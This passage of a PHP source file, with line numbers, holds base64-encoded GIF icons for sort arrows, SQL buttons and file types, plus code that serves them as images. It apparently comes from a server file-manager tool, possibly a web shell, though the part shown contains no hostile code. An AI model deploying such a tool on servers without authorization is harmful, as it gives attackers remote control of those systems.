7135"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7136
7137"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7138
7139"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
7140
7141"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
7142
7143"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
7144
7145"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
7146
7147"yAsokBkQADs=",
7148
7149"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
7150
7151"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
7152
7153"sort_asc"=>
7154
7155"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
7156
7157"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
7158
7159"sort_desc"=>
7160
7161"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
7162
7163"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
7164
7165"sql_button_drop"=>
7166
7167"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
7168
7169"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7170
7171"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
7172
7173"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
7174
7175"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
7176
7177"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
7178
7179"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
7180
7181"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
7182
7183"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
7184
7185"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
7186
7187"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
7188
7189"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
7190
7191"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
7192
7193"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
7194
7195"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
7196
7197"AQEAOw==",
7198
7199"sql_button_empty"=>
7200
7201"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
7202
7203"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7204
7205"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
7206
7207"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
7208
7209"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
7210
7211"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
7212
7213"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
7214
7215"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
7216
7217"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
7218
7219"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
7220
7221"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
7222
7223"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
7224
7225"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
7226
7227"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
7228
7229"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
7230
7231"sql_button_insert"=>
7232
7233"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
7234
7235"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7236
7237"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
7238
7239"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
7240
7241"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
7242
7243"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
7244
7245"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
7246
7247"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
7248
7249"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
7250
7251"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
7252
7253"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
7254
7255"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
7256
7257"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
7258
7259"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
7260
7261"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
7262
7263"up"=>
7264
7265"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
7266
7267"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
7268
7269"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
7270
7271"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
7272
7273"write"=>
7274
7275"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
7276
7277"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
7278
7279"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
7280
7281"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
7282
7283"ext_asp"=>
7284
7285"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
7286
7287"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
7288
7289"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
7290
7291"ext_mp3"=>
7292
7293"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
7294
7295"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
7296
7297"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
7298
7299"ext_avi"=>
7300
7301"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
7302
7303"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
7304
7305"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
7306
7307"ext_cgi"=>
7308
7309"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
7310
7311"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
7312
7313"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
7314
7315"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
7316
7317"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7318
7319"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7320
7321"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7322
7323"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
7324
7325"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
7326
7327"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
7328
7329"RYtMAgEAOw==",
7330
7331"ext_cmd"=>
7332
7333"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
7334
7335"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
7336
7337"dmrYAMn1onq/YKpjvEgAADs=",
7338
7339"ext_cpp"=>
7340
7341"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
7342
7343"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
7344
7345"Eq7YrLDE7a4SADs=",
7346
7347"ext_ini"=>
7348
7349"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
7350
7351"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
7352
7353"SnEjgPVarHEHgrB43JvszsQEADs=",
7354
7355"ext_diz"=>
7356
7357"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
7358
7359"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
7360
7361"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
7362
7363"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
7364
7365"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
7366
7367"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
7368
7369"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
7370
7371"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
7372
7373"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7374
7375"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7376
7377"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7378
7379"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7380
7381"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7382
7383"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7384
7385"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
7386
7387"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
7388
7389"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
7390
7391"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
7392
7393"Ow==",
7394
7395"ext_doc"=>
7396
7397"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
7398
7399"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
7400
7401"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
7402
7403"ext_exe"=>
7404
7405"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
7406
7407"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
7408
7409"xhIAOw==",
7410
7411"ext_h"=>
7412
7413"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
7414
7415"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
7416
7417"Wq/NknbbSgAAOw==",
7418
7419"ext_hpp"=>
7420
7421"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
7422
7423"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
7424
7425"UqUagnbLdZa+YFcCADs=",
7426
7427"ext_htaccess"=>
7428
7429"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
7430
7431"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
7432
7433"AAA7",
7434
7435"ext_html"=>
7436
7437"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
7438
7439"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
7440
7441"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
7442
7443"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
7444
7445"ADs=",
7446
7447"ext_jpg"=>
7448
7449"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
7450
7451"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
7452
7453"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
7454
7455"FxEAOw==",
7456
7457"ext_js"=>
7458
7459"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
7460
7461"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
7462
7463"a00AjYYBbc/o9HjNniUAADs=",
7464
7465"ext_lnk"=>
7466
7467"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
7468
7469"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
7470
7471"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
7472
7473"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
7474
7475"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
7476
7477"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7478
7479"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7480
7481"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
7482
7483"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
7484
7485"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
7486
7487"ADs=",
7488
7489"ext_log"=>
7490
7491"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
7492
7493"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
7494
7495"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
7496
7497"ext_php"=>
7498
7499"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
7500
7501"ext_pl"=>
7502
7503"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
7504
7505"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
7506
7507"ext_swf"=>
7508
7509"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
7510
7511"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
7512
7513"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
7514
7515"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
7516
7517"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
7518
7519"ext_tar"=>
7520
7521"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
7522
7523"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
7524
7525"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
7526
7527"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
7528
7529"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7530
7531"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7532
7533"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7534
7535"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
7536
7537"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
7538
7539"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
7540
7541"u4tLAgEAOw==",
7542
7543"ext_txt"=>
7544
7545"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
7546
7547"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
7548
7549"UpPWG3Ig6Hq/XmRjuZwkAAA7",
7550
7551"ext_wri"=>
7552
7553"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
7554
7555"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
7556
7557"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
7558
7559"ext_xml"=>
7560
7561"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
7562
7563"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7564
7565"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
7566
7567"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
7568
7569"IQA7"
7570
7571);
7572
7573$imgequals = array(
7574
7575 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
7576
7577 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
7578
7579 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
7580
7581 "ext_html"=>array("ext_html","ext_htm"),
7582
7583 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
7584
7585 "ext_lnk"=>array("ext_lnk","ext_url"),
7586
7587 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
7588
7589 "ext_doc"=>array("ext_doc","ext_dot"),
7590
7591 "ext_js"=>array("ext_js","ext_vbs"),
7592
7593 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
7594
7595 "ext_wri"=>array("ext_wri","ext_rtf"),
7596
7597 "ext_swf"=>array("ext_swf","ext_fla"),
7598
7599 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
7600
7601 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
7602
7603);
7604
7605if (!$getall) {
7606
7607 header("Content-type: image/gif");
7608
7609 header("Cache-control: public");
7610
7611 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
7612
7613 header("Cache-control: max-age=".(60*60*24*7));
7614
7615 header("Last-Modified: ".date("r",filemtime(__FILE__)));
7616
7617 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
7618
7619 if (empty($images[$img])) {$img = "small_unk";}
7620
7621 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
7622
7623 echo base64_decode($images[$img]);
7624
7625}
7626
7627else {
7628
